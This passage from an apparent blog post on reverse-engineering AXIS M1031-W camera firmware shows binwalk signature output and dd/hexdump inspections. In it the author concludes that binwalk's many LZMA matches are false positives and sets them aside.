0x90B931        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum33&quot; style=&quot;color: #606060;&quot;&gt;  33:&lt;/span&gt; 9485547         0x90BCEB        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum34&quot; style=&quot;color: #606060;&quot;&gt;  34:&lt;/span&gt; 9486419         0x90C053        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum35&quot; style=&quot;color: #606060;&quot;&gt;  35:&lt;/span&gt; 9497953         0x90ED61        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum36&quot; style=&quot;color: #606060;&quot;&gt;  36:&lt;/span&gt; 9499916         0x90F50C        Zip archive data,  at least v2.0 to extract&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum37&quot; style=&quot;color: #606060;&quot;&gt;  37:&lt;/span&gt; 11812909        0xB4402D        LZMA compressed data, properties: 0x8F, dictionary size: 9764864 bytes, uncompressed size: 9764864 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum38&quot; style=&quot;color: #606060;&quot;&gt;  38:&lt;/span&gt; 12894253        0xC4C02D        LZMA compressed data, properties: 0x8F, dictionary size: 4063232 bytes, uncompressed size: 4063232 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum39&quot; style=&quot;color: #606060;&quot;&gt;  39:&lt;/span&gt; 13754341        0xD1DFE5        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum40&quot; style=&quot;color: #606060;&quot;&gt;  40:&lt;/span&gt; 13758505        0xD1F029        LZMA compressed data, properties: 0x90, dictionary size: 264241152 bytes, uncompressed size: 264241152 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum41&quot; style=&quot;color: #606060;&quot;&gt;  41:&lt;/span&gt; 13762605        0xD2002D        LZMA compressed data, properties: 0x9F, dictionary size: 4194304 bytes, uncompressed size: 4194304 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum42&quot; style=&quot;color: #606060;&quot;&gt;  42:&lt;/span&gt; 13762737        0xD200B1        LZMA compressed data, properties: 0xA0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum43&quot; style=&quot;color: #606060;&quot;&gt;  43:&lt;/span&gt; 13766901        0xD210F5        LZMA compressed data, properties: 0xB0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum44&quot; style=&quot;color: #606060;&quot;&gt;  44:&lt;/span&gt; 13771065        0xD22139        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum45&quot; style=&quot;color: #606060;&quot;&gt;  45:&lt;/span&gt; 13775229        0xD2317D        LZMA compressed data, properties: 0xD0, dictionary size: 241958912 bytes, uncompressed size: 241958912 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum46&quot; style=&quot;color: #606060;&quot;&gt;  46:&lt;/span&gt; 13778989        0xD2402D        LZMA compressed data, properties: 0xDE, dictionary size: 26476544 bytes, uncompressed size: 26476544 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum47&quot; style=&quot;color: #606060;&quot;&gt;  47:&lt;/span&gt; 13779461        0xD24205        LZMA compressed data, properties: 0xE0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum48&quot; style=&quot;color: #606060;&quot;&gt;  48:&lt;/span&gt; 13986717        0xD56B9D        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum49&quot; style=&quot;color: #606060;&quot;&gt;  49:&lt;/span&gt; 13990881        0xD57BE1        LZMA compressed data, properties: 0x90, dictionary size: 67633152 bytes, uncompressed size: 67633152 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum50&quot; style=&quot;color: #606060;&quot;&gt;  50:&lt;/span&gt; 13991981        0xD5802D        LZMA compressed data, properties: 0x94, dictionary size: 200802304 bytes, uncompressed size: 200802304 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum51&quot; style=&quot;color: #606060;&quot;&gt;  51:&lt;/span&gt; 13995113        0xD58C69        LZMA compressed data, properties: 0xA0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum52&quot; style=&quot;color: #606060;&quot;&gt;  52:&lt;/span&gt; 13999277        0xD59CAD        LZMA compressed data, properties: 0xB0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum53&quot; style=&quot;color: #606060;&quot;&gt;  53:&lt;/span&gt; 14003441        0xD5ACF1        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum54&quot; style=&quot;color: #606060;&quot;&gt;  54:&lt;/span&gt; 14007605        0xD5BD35        LZMA compressed data, properties: 0xD0, dictionary size: 45350912 bytes, uncompressed size: 45350912 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum55&quot; style=&quot;color: #606060;&quot;&gt;  55:&lt;/span&gt; 14008365        0xD5C02D        LZMA compressed data, properties: 0xD2, dictionary size: 223084544 bytes, uncompressed size: 223084544 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum56&quot; style=&quot;color: #606060;&quot;&gt;  56:&lt;/span&gt; 14011837        0xD5CDBD        LZMA compressed data, properties: 0xE0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum57&quot; style=&quot;color: #606060;&quot;&gt;  57:&lt;/span&gt; 14794797        0xE1C02D        LZMA compressed data, properties: 0x80, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum58&quot; style=&quot;color: #606060;&quot;&gt;  58:&lt;/span&gt; 14798961        0xE1D071        LZMA compressed data, properties: 0x90, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum59&quot; style=&quot;color: #606060;&quot;&gt;  59:&lt;/span&gt; 14803125        0xE1E0B5        LZMA compressed data, properties: 0xA0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum60&quot; style=&quot;color: #606060;&quot;&gt;  60:&lt;/span&gt; 14807289        0xE1F0F9        LZMA compressed data, properties: 0xB0, dictionary size: 250609664 bytes, uncompressed size: 250609664 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum61&quot; style=&quot;color: #606060;&quot;&gt;  61:&lt;/span&gt; 14811181        0xE2002D        LZMA compressed data, properties: 0xBE, dictionary size: 17825792 bytes, uncompressed size: 17825792 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum62&quot; style=&quot;color: #606060;&quot;&gt;  62:&lt;/span&gt; 14811521        0xE20181        LZMA compressed data, properties: 0xC0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum63&quot; style=&quot;color: #606060;&quot;&gt;  63:&lt;/span&gt; 14815685        0xE211C5        LZMA compressed data, properties: 0xD0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum64&quot; style=&quot;color: #606060;&quot;&gt;  64:&lt;/span&gt; 14819849        0xE22209        LZMA compressed data, properties: 0xE0, dictionary size: 268435456 bytes, uncompressed size: 268435456 bytes&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
Interesting, so many lzma headers with huge/inaccurate uncompressed sizes and same dictionary size. Something is not correct here and let’s have a closer look on it, &lt;br /&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; root@system:~/axis# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 skip=12165 count=32 2&amp;gt;/dev/null | hexdump -C   &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 52  |........@......R|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; 00000010  28 00 10 39 00 00 00 00  02 00 00 80 00 00 00 00  |(..9............|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 00000020&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; root@system:~/axis# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 skip=12189 count=32 2&amp;gt;/dev/null | hexdump -C      &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 69  |........@......i|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; 00000010  28 00 10 79 00 00 00 00  02 00 00 80 00 00 00 00  |(..y............|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; 00000020&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; root@system:~/axis# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 skip=12213 count=32 2&amp;gt;/dev/null | hexdump -C      &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 80  |........@.......|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; 00000010  28 00 10 72 00 00 00 00  02 00 00 80 00 00 00 00  |(..r............|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; 00000020&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; root@system:~/axis# dd &lt;span style=&quot;color: blue;&quot;&gt;if&lt;/span&gt;=AXIS_M1031-W.bin bs=1 skip=68693 count=32 2&amp;gt;/dev/null | hexdump -C      &lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; 00000000  02 00 00 80 00 00 00 00  40 00 00 00 00 00 00 94  |........@.......|&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; 00000010  c0 00 c0 39 00 00 00 00  02 00 00 80 00 00 00 00  |...9............|&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; 00000020&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
It seems that binwalk is matching the first bytes at each section to lzma compression magic numbers incorrectly. From this point on and after doing some more tests with the rest of the lzma suggested entries we will assume that binwalk’s analysis is inaccurate on that and we will not take it in consideration.&lt;br /&gt;
&lt;br /&gt;
Removing the lzma entries our table will look more like this:&lt;br /&gt;
&lt;br /&gt;
